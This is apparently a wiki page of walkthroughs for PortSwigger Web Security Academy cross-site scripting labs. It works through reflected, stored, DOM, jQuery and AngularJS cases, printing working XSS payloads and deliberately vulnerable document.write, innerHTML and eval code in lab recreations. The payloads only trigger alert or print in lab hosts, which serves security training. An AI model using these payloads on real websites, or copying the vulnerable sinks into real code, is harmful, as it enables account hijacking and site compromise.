Skip to content

Cross site scripting (XSS)

Alnoman Kamil edited this page Jan 3, 2025 · 71 revisions

Apprentice lab:
Reflected XSS into HTML context with nothing encoded

This lab contains a simple reflected cross-site scripting vulnerability in the search
functionality.
To solve the lab, perform a cross-site scripting attack that calls the alert function.

When clicking on Search we notice we have a ?search= parameter.
So by encapsulating alert(1) within script tags we pass the lab.

  • Url encoded, has been the default in the browser.
    /?search=<script>alert(1)</script>

Apprentice lab:
Reflected XSS into attribute with angle brackets HTML-encoded

  • Solution

    1. Use the search bar and type an alphanumeric value, i.e. test123.
    2. Use Firefox's inspector with ⌘ ⌥ C and search with ⌘ F for test123.
    3. Analyse the code that test123 is found in.
      <form action=/ method=GET>
          <input type=text placeholder='Search the blog...' name=search value="test123">
          <button type=submit class=button>Search</button>
      </form>
      Notice test123 is enclosed inside parenthesis.
    4. Craft an XSS payload to escape parenthesis. Payload example:
      "onmouseover="alert(1)
    5. Payload works because:
      <form action=/ method=GET>
          <input type=text placeholder='Search the blog...' name=search value=""onmouseover="alert(1)">
          <button type=submit class=button>Search</button>
      </form>

Apprentice lab:
Reflected XSS into a JavaScript string with angle brackets HTML encoded

  • Solution

    1. Test with test1234.
    2. Open developer tool to view script.
    3. z3nsh3ll's explanation for crafting an XSS payload.

Apprentice lab:
Stored XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the blog post is
viewed.

  • Simply make a comment
    <script>alert(1)</script>

NOTE:
Stored XSS is in the database so it will not be immediately visible.
So when viewing the blog post again alert(1) will be displayed.

Apprentice lab:
Stored XSS into anchor href attribute with double quotes HTML-encoded

  • Solution

    1. Use placeholder values to find out how the input data is handledl
    2. Use Firefox's inspector with ⌘ ⌥ C and search with ⌘ F for the placeholder values.
    3. Identify a vulnerable code snippet.
      <section class="comment">
          <p>
              <img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="website">name</a> | 12 November 2024
          </p>
          <p>comment</p>
          <p></p>
      </section>
    4. Replace "website" with javascript:alert(1). This will store an XSS inside the link name.

Practitioner lab:
Exploiting cross-site scripting to capture passwords (Pro) optional


Apprentice lab:
DOM XSS in document.write sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.
To solve this lab, perform a cross-site scripting attack that calls the alert function.

  • Solution

    1. Do a random search i.e. test123.
    2. (Firefox) open inspector with ⌘ ⌥ C and use search with ⌘ F
    3. Craft XSS payload, based on js script.
  • Solution (second way)

    1. Do a random search query.
    2. Open Firefox's Debugger ⌘ ⌥ Z and use search ⌘ ⇧ F.
    3. Search for location.search. Observe the vulnerable code snippet.
      function trackSearch(query) {
      document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
      }
      var query = (new URLSearchParams(window.location.search)).get('search');
      if(query) {
          trackSearch(query);
      }
    4. Craft the XSS payload based on the code above.
      /?search="><script>alert(1)</script>
  • Experimentation

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Search Tracker</title>
    </head>
    <body>
        <form id="search-form" action="" method="get">
            <input type="text" name="search" placeholder="Enter search query" required>
            <button type="submit">Search</button>
        </form>
        <div id="message"></div>
        <script>
        function trackSearch(query) {
            document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
        }
        var query = (new URLSearchParams(window.location.search)).get('search');
        if(query) {
            trackSearch(query);
        }
        </script>
    </body>
</html>

Practitioner lab:
DOM XSS in document.write sink using source location.search inside a select element

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function

  • Solution (Video explaination)

    1. View a product and Check stock.
    2. Find a vulnerable script.
      var stores = ["London","Paris","Milan"];
      var store = (new URLSearchParams(window.location.search)).get('storeId');
      document.write('<select name="storeId">');
      if(store) {
          document.write('<option selected>'+store+'</option>');
      }
      for(var i=0;i<stores.length;i++) {
          if(stores[i] === store) {
              continue;
          }
          document.write('<option>'+stores[i]+'</option>');
      }
      document.write('</select>');
    3. Craft the XSS payload.
      /product?productId=1&storeId=</option><script>alert(1)</script>

NOTE:
Trying things out, and observing changes in the page, it's best for crafting XSS payloads.
In this case use Inspector ⌘ ⌥ C and search HTML ⌘ F.

Apprentice lab:
DOM XSS in innerHTML sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.
To solve this lab, perform a cross-site scripting attack that calls the alert function.

  • Solution

    1. Use the search functionality and search for script tags using the debugger.
    2. Vulnerable JavaScript.
      function doSearchQuery(query) {
          document.getElementById('searchMessage').innerHTML = query;
      }
      var query = (new URLSearchParams(window.location.search)).get('search');
      if(query) {
          doSearchQuery(query);
      }
    3. XSS payload.
      /?search=<img src=1337 onerror=alert(1)>

Apprentice lab:
DOM XSS in jQuery anchor href attribute sink using location.search source

This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's $ selector function to find an anchor element, and changes its href attribute using data from location.search.
To solve this lab, make the "back" link alert document.cookie.

  • Solution

    1. Use script.
    2. Vulnerable endpoint, and the code associated with it.
      https://uuid.web-security-academy.net/feedback?returnPath=/feedback
      <script>
          $(function() {
              $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
          });
      </script>
    3. Exploitation.
      /feedback?returnPath=javascript:alert(1)

NOTE:
Script does not work if lab requires to modify a sumbit paremeter.

Apprentice lab:
DOM XSS in jQuery selector sink using a hashchange event

This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.
To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.

  • Solution

    1. Run script and identify vulnerable code.
      $(window).on('hashchange', function(){
          var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
          if (post) post.get(0).scrollIntoView();
      });
    2. Go to exploit server and in the body, write the exploit.
      <iframe src="https://uuid.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print(1)>'">
    3. Click Store and Deliver exploit to victim.

Practitioner lab:
DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.
To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.

  • Solution

    1. Look at the source, notice within the head tags there is a CDN for AngularJS.
    2. Test for {{1+1}} in search bar.
    3. Since there is 2 in the search call then we could investigate further and paste the payload.
      {{$eval.constructor('alert()')()}}
    4. z3nsh3ll's explaination for the payload.
  • Experimentation

    1. angular.html.

      <!DOCTYPE html>
      <html>
          <head>
              <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script>
          <head>
      
          <body ng-app="myApp" ng-controller="myCtrl">
              <p id="test"></p>
              {{ firstName }}
              {{ 1+1 }}
              {{ $eval.constructor('alert()')() }}
      
          </body>
      
          <script>
          var app = angular.module('myApp', []);
          app.controller('myCtrl', function($scope) {
              $scope.firstName = "Adam";
          });
      </script>
      
      </html>
    2. Check out methods for calling the function constructor.

      let scope = angular.element(document.getElementById('test')).scope();

Practitioner lab:
Reflected DOM XSS

  • Solution

    1. In the search input type test123.
    2. Checking responses under network tab study the response from searchResults.js and notice an eval.
    3. See why eval is vulnerable.
    4. The input test123 is also reflected as JSON in the search-results query.
    5. Craft an XSS payload by:
      1. Adding a double quote: test123". Notice \ is added automatically.
      2. Append JavaScript: test123\"-alert(1).
      3. Add a curly bracket and comment every out: test123\"-alert(1)}//
    6. Paste test123\"-alert(1)}// in the search input of the website, achieving a reflected DOM XSS.
  • Experimentation (lab recreation)

    1. index.html
    <!DOCTYPE html>
    <html>
        <body>
            <h1> eval </h1>
            <p id="page"></p>
        </body>
    <script>
    
    var xmlhttp = new XMLHttpRequest();
    var url = 'http://localhost:8000/data.json';
    
    xmlhttp.onreadystatechange = function(){
        if (this.readyState == 4 && this.status == 200){
            console.log(this.response);
    
            // Check type of data.
            //console.log(typeof this.reponse);
    
            //Correct way without using eval. Without JSON parse data will be JSON not string.
            //let myObj = JSON.parse(this.reponse);
    
            //VULNERABILITY eval
            eval('let myObj = ' + this.reponse);
    
            // Render data to the DOM
            document.getElementById('page').innerText = myObj.information;
        }
    }
    
    xmlhttp.open('GET', url, true);
    xmlhttp.send();
    
    </script>
    </html>
    1. data.json
    {
        "information" : "test123"
    }
    1. Run everything using
    php -S localhost:8000

Practitioner lab:
Stored DOM XSS

  • Solution

    1. Post a normal comment.
    2. ⌘ + ⌥ + I To open Inspector and press the Reload button under the Network tab for detailed info.
    3. Notice an endpoint /loadCommentsWithVulnerableEscapeHtml.js
      function escapeHTML(html) {
          return html.replace('<', '&lt;').replace('>', '&gt;');
      }
    4. It might look secure, because it attempts to encode angle brackets. It's not, because "only the first occurrence will be replaced".
    5. After trying <h1><h1>asdf1234<h1/><h1/> and observing that it works, an XSS can be crafted.
    6. XSS
      <h1><img src="0" onerror="alert(document.domain)">meow</img></h1>

Expert lab:
Reflected XSS protected by very strict CSP, with dangling markup attack (Pro)


Clone this wiki locally